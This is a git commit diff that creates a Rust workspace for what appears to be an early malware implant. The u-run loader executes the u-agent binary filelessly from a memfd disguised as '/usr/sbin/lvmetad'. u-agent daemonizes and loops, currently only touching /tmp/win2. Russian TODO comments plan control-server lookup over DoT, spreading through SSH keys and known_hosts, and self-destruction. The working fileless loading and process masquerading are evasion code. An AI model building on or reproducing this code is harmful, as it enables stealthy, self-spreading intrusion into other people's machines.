commit
1401c0efc4
7 changed files with 205 additions and 0 deletions
@ -0,0 +1,6 @@ |
|||||||
|
[workspace] |
||||||
|
members = [ |
||||||
|
"u-run", |
||||||
|
"u-server", |
||||||
|
"u-agent" |
||||||
|
] |
@ -0,0 +1,19 @@ |
|||||||
|
[package] |
||||||
|
name = "u-agent" |
||||||
|
version = "0.1.0" |
||||||
|
authors = ["plazmoid <kronos44@mail.ru>"] |
||||||
|
edition = "2018" |
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html |
||||||
|
|
||||||
|
[dependencies] |
||||||
|
nix = "0.17" |
||||||
|
libc = "^0.2" |
||||||
|
sysinfo = "0.10.5" |
||||||
|
#lazy_static = "1.4.0" |
||||||
|
log = "^0.4" |
||||||
|
env_logger = "0.7.1" |
||||||
|
|
||||||
|
[profile.release] |
||||||
|
panic = 'abort' |
||||||
|
# strip |
@ -0,0 +1,70 @@ |
|||||||
|
// TODO:
|
||||||
|
// поддержка питона
|
||||||
|
// резолв адреса управляющего сервера через DoT
|
||||||
|
// кроссплатформенность (реализовать интерфейс для винды и никсов)
|
||||||
|
// перезапуск через memfd_create
|
||||||
|
// проверка обнов
|
||||||
|
// проверка ssh ключей и распространение через known_hosts
|
||||||
|
// самоуничтожение
|
||||||
|
|
||||||
|
use std::process::exit; |
||||||
|
|
||||||
|
use nix::{ |
||||||
|
unistd::{ |
||||||
|
getppid, |
||||||
|
setsid, |
||||||
|
fork, |
||||||
|
ForkResult, |
||||||
|
close as fdclose, |
||||||
|
chdir |
||||||
|
}, |
||||||
|
sys::signal::{ |
||||||
|
signal, |
||||||
|
Signal, |
||||||
|
SigHandler |
||||||
|
} |
||||||
|
}; |
||||||
|
|
||||||
|
fn setsig(sig: Signal, hnd: SigHandler) { |
||||||
|
unsafe { |
||||||
|
signal(sig, hnd).unwrap(); |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
fn daemonize() { |
||||||
|
if getppid().as_raw() != 1 { |
||||||
|
setsig(Signal::SIGTTOU, SigHandler::SigIgn); |
||||||
|
setsig(Signal::SIGTTIN, SigHandler::SigIgn); |
||||||
|
setsig(Signal::SIGTSTP, SigHandler::SigIgn); |
||||||
|
} |
||||||
|
for fd in 0..=2 { |
||||||
|
match fdclose(fd) { _ => () } |
||||||
|
} |
||||||
|
match chdir("/") { _ => () }; |
||||||
|
|
||||||
|
match fork() { |
||||||
|
Ok(ForkResult::Parent {..}) => { |
||||||
|
exit(0); |
||||||
|
}, |
||||||
|
Ok(ForkResult::Child) => { |
||||||
|
match setsid() { _ => () } |
||||||
|
} |
||||||
|
Err(_) => { |
||||||
|
exit(255) |
||||||
|
} |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
fn main() { |
||||||
|
use std::process::Command; |
||||||
|
use std::thread::sleep; |
||||||
|
use std::time::Duration; |
||||||
|
daemonize(); |
||||||
|
loop { |
||||||
|
sleep(Duration::from_secs(2)); |
||||||
|
Command::new("touch") |
||||||
|
.arg("/tmp/win2") |
||||||
|
.output() |
||||||
|
.unwrap(); |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,11 @@ |
|||||||
|
[package] |
||||||
|
name = "u-run" |
||||||
|
version = "0.1.0" |
||||||
|
authors = ["plazmoid <kronos44@mail.ru>"] |
||||||
|
edition = "2018" |
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html |
||||||
|
|
||||||
|
[dependencies] |
||||||
|
nix = "0.17" |
||||||
|
libc = "^0.2" |
@ -0,0 +1,87 @@ |
|||||||
|
use nix::{ |
||||||
|
sys::memfd::{memfd_create, MemFdCreateFlag}, |
||||||
|
unistd::execv |
||||||
|
}; |
||||||
|
use libc::{ |
||||||
|
fdopen, |
||||||
|
fwrite, |
||||||
|
c_void, |
||||||
|
getpid |
||||||
|
}; |
||||||
|
use std::{ |
||||||
|
ffi::{CString, CStr}, |
||||||
|
fs::{File, read_dir}, |
||||||
|
io::Read |
||||||
|
}; |
||||||
|
|
||||||
|
fn get_uagent_data() -> Option<Vec<u8>> { |
||||||
|
// TODO: if not ls - then download
|
||||||
|
let ls = read_dir("./").unwrap(); |
||||||
|
for dirfile in ls { |
||||||
|
let filename: std::path::PathBuf = dirfile.unwrap().path(); |
||||||
|
if filename.ends_with("u-agent") { |
||||||
|
let mut file = File::open(filename).unwrap(); |
||||||
|
let mut data: Vec<u8> = vec![]; |
||||||
|
file.read_to_end(&mut data).unwrap(); |
||||||
|
return Some(data) |
||||||
|
} |
||||||
|
} |
||||||
|
None |
||||||
|
} |
||||||
|
|
||||||
|
fn get_proc_name() -> CString { |
||||||
|
CString::new("/usr/sbin/lvmetad").unwrap() |
||||||
|
} |
||||||
|
|
||||||
|
fn create_memfd() -> i32 { |
||||||
|
let name = get_proc_name(); |
||||||
|
let fd = memfd_create( |
||||||
|
&name,
|
||||||
|
MemFdCreateFlag::empty() |
||||||
|
).unwrap(); |
||||||
|
assert!(fd > 0); |
||||||
|
fd |
||||||
|
} |
||||||
|
|
||||||
|
fn main() { |
||||||
|
let agent_data: Vec<u8> = { |
||||||
|
let mut data; |
||||||
|
loop { |
||||||
|
data = get_uagent_data(); |
||||||
|
if data.is_some() { |
||||||
|
break; |
||||||
|
} |
||||||
|
} |
||||||
|
data.unwrap() |
||||||
|
}; |
||||||
|
let ad_len = agent_data.len(); |
||||||
|
let fd = create_memfd(); |
||||||
|
let file = unsafe { |
||||||
|
let res = fdopen(fd,
|
||||||
|
CStr::from_bytes_with_nul(b"w\0") |
||||||
|
.unwrap().as_ptr() |
||||||
|
); |
||||||
|
if res.is_null() { |
||||||
|
panic!("WTF!"); |
||||||
|
} |
||||||
|
res |
||||||
|
}; |
||||||
|
let res_len = unsafe { |
||||||
|
fwrite( |
||||||
|
agent_data.as_ptr() as *const c_void,
|
||||||
|
1, ad_len, file |
||||||
|
) |
||||||
|
}; |
||||||
|
if res_len != ad_len { |
||||||
|
panic!("write wasn't successful: {}, need {}", |
||||||
|
res_len, ad_len); |
||||||
|
} |
||||||
|
let exec_path: String = format!("/proc/{}/fd/{}", |
||||||
|
unsafe { getpid() }, fd); |
||||||
|
let proc_name = get_proc_name(); |
||||||
|
let args = [proc_name.as_c_str()]; |
||||||
|
execv( |
||||||
|
&CString::new(exec_path).unwrap(),
|
||||||
|
&args |
||||||
|
).unwrap(); |
||||||
|
} |
@ -0,0 +1,9 @@ |
|||||||
|
[package] |
||||||
|
name = "u-server" |
||||||
|
version = "0.1.0" |
||||||
|
authors = ["plazmoid <kronos44@mail.ru>"] |
||||||
|
edition = "2018" |
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html |
||||||
|
|
||||||
|
[dependencies] |
@ -0,0 +1,3 @@ |
|||||||
|
fn main() { |
||||||
|
println!("Hello, world!"); |
||||||
|
} |
Loading…
Reference in new issue